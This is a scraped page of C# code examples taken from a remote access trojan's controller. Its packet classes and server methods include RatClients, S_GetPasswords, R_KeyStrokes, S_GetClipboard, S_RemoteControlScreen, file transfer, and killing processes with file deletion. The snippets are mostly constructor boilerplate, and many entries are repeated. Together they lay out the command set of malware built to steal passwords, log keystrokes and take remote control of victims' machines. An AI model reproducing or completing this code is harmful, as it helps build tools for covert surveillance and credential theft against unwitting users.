Exemplo n.º 1
0
 public S_FileTransferSend(RatClients client, FileTransfer info, byte[] bytes, int Index)
     : base(client)
 {
     this.info = info;
     this.bytes = bytes;
     this.Index = Index;
 }
Exemplo n.º 2
0
 public ReceiveBasePacket(RatClients client, byte[] packet)
 {
     _Client = client;
     _Packet = packet;
     _Offset = 1;
     Read();
 }
Exemplo n.º 3
0
 public S_ProcessModThread(RatClients client, int PID, int ID, byte type)
     : base(client)
 {
     this.PID  = PID;
     this.ID   = ID;
     this.type = type;
 }
Exemplo n.º 4
0
 public S_KillProcess(RatClients client, int PID, byte Force, byte DeleteFile)
     : base(client)
 {
     this.PID = PID;
     this.Force = Force;
     this.DeleteFile = DeleteFile;
 }
 public S_KillProcess(RatClients client, int PID, byte Force, byte DeleteFile)
     : base(client)
 {
     this.PID        = PID;
     this.Force      = Force;
     this.DeleteFile = DeleteFile;
 }
Exemplo n.º 6
0
 public S_FileTransferSend(RatClients client, FileTransfer info, byte[] bytes, int Index)
     : base(client)
 {
     this.info  = info;
     this.bytes = bytes;
     this.Index = Index;
 }
Exemplo n.º 7
0
 public S_ProcessModThread(RatClients client, int PID, int ID, byte type)
     : base(client)
 {
     this.PID = PID;
     this.ID = ID;
     this.type = type;
 }
Exemplo n.º 8
0
 public ReceiveBasePacket(RatClients client, byte[] packet)
 {
     _Client = client;
     _Packet = packet;
     _Offset = 1;
     Read();
 }
Exemplo n.º 9
0
        public S_MessageBox(RatClients client, string message, string title, MessageBoxButtons buttons, MessageBoxIcon icon)
            : base(client)
        {
            _message = message;
            _title = title;

            switch (buttons)
            {
                case MessageBoxButtons.AbortRetryIgnore:
                    _button = 0;
                    break;
                case MessageBoxButtons.OK:
                    _button = 1;
                    break;
                case MessageBoxButtons.OKCancel:
                    _button = 2;
                    break;
                case MessageBoxButtons.RetryCancel:
                    _button = 3;
                    break;
                case MessageBoxButtons.YesNo:
                    _button = 4;
                    break;
                case MessageBoxButtons.YesNoCancel:
                    _button = 5;
                    break;
            }

            if (icon == MessageBoxIcon.Asterisk)
                _icon = 0;
            if (icon == MessageBoxIcon.Error)
                _icon = 1;
            if (icon == MessageBoxIcon.Exclamation)
                _icon = 2;
            if (icon == MessageBoxIcon.Hand)
                _icon = 3;
            if (icon == MessageBoxIcon.Information)
                _icon = 4;
            if (icon == MessageBoxIcon.None)
                _icon = 5;
            if (icon == MessageBoxIcon.Question)
                _icon = 6;
            if (icon == MessageBoxIcon.Stop)
                _icon = 7;
            if (icon == MessageBoxIcon.Warning)
                _icon = 8;
        }
Exemplo n.º 10
0
        public void ProcessClient(Socket client)
        {
            //System.Threading.Thread.Sleep(50); //Small delay so the process will be using 0-1% cpu usage at flood attack
            if (MaxConnections.AcceptConnection(client.RemoteEndPoint))
            {
                int ID = _clientList.Count;
                RatClients c = new RatClients(client, NetworkKey);
                _clientList.Add(ID, c);
                c.DisconnectHandle = OnDisconnect;
                c.ClientID = ID;

                settings.ClientsConnected++;
                Logger.AddLog(new LogInfo("Incoming client", "Accepted"));
            }
            else
            {
                client.Disconnect(false);
                client = null;
            }
        }
Exemplo n.º 11
0
        public void ProcessClient(Socket client)
        {
            //System.Threading.Thread.Sleep(50); //Small delay so the process will be using 0-1% cpu usage at flood attack
            if (MaxConnections.AcceptConnection(client.RemoteEndPoint))
            {
                int        ID = _clientList.Count;
                RatClients c  = new RatClients(client, NetworkKey);
                _clientList.Add(ID, c);
                c.DisconnectHandle = OnDisconnect;
                c.ClientID         = ID;

                settings.ClientsConnected++;
                Logger.AddLog(new LogInfo("Incoming client", "Accepted"));
            }
            else
            {
                client.Disconnect(false);
                client = null;
            }
        }
Exemplo n.º 12
0
 public S_GetProcessThreads(RatClients client, int PID)
     : base(client)
 {
     this.PID = PID;
 }
Exemplo n.º 13
0
 public R_GetProcesses(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
Exemplo n.º 14
0
 public S_ResumeProcess(RatClients client, int PID)
     : base(client)
 {
     this.PID = PID;
 }
Exemplo n.º 15
0
 public S_FileMgrGetDrives(RatClients client)
     : base(client)
 {
 }
Exemplo n.º 16
0
 public S_CursorPosition(RatClients client, int x, int y)
     : base(client)
 {
     this.x = x;
     this.y = y;
 }
Exemplo n.º 17
0
 public R_GetProcessThreads(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
Exemplo n.º 18
0
 public S_FileMgrGetFiles(RatClients client, string DirLocation)
     : base(client)
 {
     this.DirLocation = DirLocation;
 }
Exemplo n.º 19
0
 public SendBasePacket(RatClients client)
 {
     vStream = new MemoryStream();
     vClient = client;
 }
Exemplo n.º 20
0
 public SendBasePacket(RatClients client)
 {
     vStream = new MemoryStream();
     vClient = client;
 }
Exemplo n.º 21
0
 public R_GetClipboard(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
Exemplo n.º 22
0
 public S_GetProcessThreads(RatClients client, int PID)
     : base(client)
 {
     this.PID = PID;
 }
 public S_GetProcesses(RatClients client)
     : base(client)
 {
 }
Exemplo n.º 24
0
 public S_CopyFile(RatClients client, string FileLocation, string NewFileLocation)
     : base(client)
 {
     this.FileLocation = FileLocation;
     this.NewFileLocation = NewFileLocation;
 }
Exemplo n.º 25
0
 public S_GetPasswords(RatClients client)
     : base(client)
 {
 }
Exemplo n.º 26
0
        public S_GetClipboard(RatClients client)
                : base(client)
            {

            }
Exemplo n.º 27
0
 public R_NewClient(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
Exemplo n.º 28
0
 public S_GetPasswords(RatClients client)
     : base(client)
 {
 }
Exemplo n.º 29
0
 //This method is called by any client when its disconnected, this is done through a delegate thats set.
 private void OnDisconnect(RatClients client)
 {
     _clientList.Remove(client.ClientID);
 }
Exemplo n.º 30
0
 public S_SetWallpaper(RatClients client, string FileLocation)
     : base(client)
 {
     this.FileLocation = FileLocation;
 }
Exemplo n.º 31
0
 public S_FileTransferSendComplete(RatClients client, FileTransfer info)
     : base(client)
 {
     this.info = info;
 }
Exemplo n.º 32
0
 public S_FileTransferSendBegin(RatClients client, FileTransfer info, SendType type)
     : base(client)
 {
     this.info = info;
     this.type = type;
 }
Exemplo n.º 33
0
 public S_SetClipboard(RatClients client, string data)
     : base(client)
 {
     this.data = data;
 }
Exemplo n.º 34
0
 public R_FileMgrGetFiles(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
Exemplo n.º 35
0
 public S_GetClipboard(RatClients client)
     : base(client)
 {
 }
Exemplo n.º 36
0
 public S_CopyFile(RatClients client, string FileLocation, string NewFileLocation)
     : base(client)
 {
     this.FileLocation    = FileLocation;
     this.NewFileLocation = NewFileLocation;
 }
Exemplo n.º 37
0
 public S_FileTransferSendBegin(RatClients client, FileTransfer info, SendType type)
     : base(client)
 {
     this.info = info;
     this.type = type;
 }
 public S_FileTransferSendComplete(RatClients client, FileTransfer info)
     : base(client)
 {
     this.info = info;
 }
Exemplo n.º 39
0
 public R_KeyStrokes(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
Exemplo n.º 40
0
 //This method is called by any client when its disconnected, this is done through a delegate thats set.
 private void OnDisconnect(RatClients client)
 {
     _clientList.Remove(client.ClientID);
 }
Exemplo n.º 41
0
 public S_SetWallpaper(RatClients client, string FileLocation)
     : base(client)
 {
     this.FileLocation = FileLocation;
 }
Exemplo n.º 42
0
 public R_FileTransferBegin(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
Exemplo n.º 43
0
 public S_GetProcessesDLLs(RatClients client, int PID)
     : base(client)
 {
     this.PID = PID;
 }
Exemplo n.º 44
0
 public S_DeleteFile(RatClients client, string FileLocation)
     : base(client)
 {
     this.FileLocation = FileLocation;
 }
 public S_CursorPosition(RatClients client, int x, int y)
     : base(client)
 {
     this.x = x;
     this.y = y;
 }
Exemplo n.º 46
0
 public S_ProcessWindowText(RatClients client, int PID, string text)
     : base(client)
 {
     this.PID = PID;
     this.WindowText = text;
 }
 public R_FileMgrDrives(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
Exemplo n.º 48
0
 public S_RemoteControlScreen(RatClients client, byte enable)
     : base(client)
 {
     this.enable = enable;
 }
Exemplo n.º 49
0
 public R_KeyStrokes(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
 public R_FileTransferSend(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
 public S_GetProcessesDLLs(RatClients client, int PID)
     : base(client)
 {
     this.PID = PID;
 }
Exemplo n.º 52
0
 public S_CreateFile(RatClients client, string FileLocation, string FileName)
     : base(client)
 {
     this.FileLocation = FileLocation;
     this.FileName = FileName;
 }
Exemplo n.º 53
0
 public R_RemoteIP(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
Exemplo n.º 54
0
 public R_GetClipboard(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
Exemplo n.º 55
0
 public S_SetClipboard(RatClients client, string data)
     : base(client)
 {
     this.data = data;
 }
Exemplo n.º 56
0
 public S_FileMgrGetDrives(RatClients client)
     : base(client)
 {
 }
Exemplo n.º 57
0
 public S_FileMgrGetFiles(RatClients client, string DirLocation)
     : base(client)
 {
     this.DirLocation = DirLocation;
 }
Exemplo n.º 58
0
 public S_GetKeyStrokes(RatClients client)
     : base(client)
 {
 }
Exemplo n.º 59
0
 public R_NewClient(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
Exemplo n.º 60
0
 public S_GetCpuInfo(RatClients client)
     : base(client)
 {
 }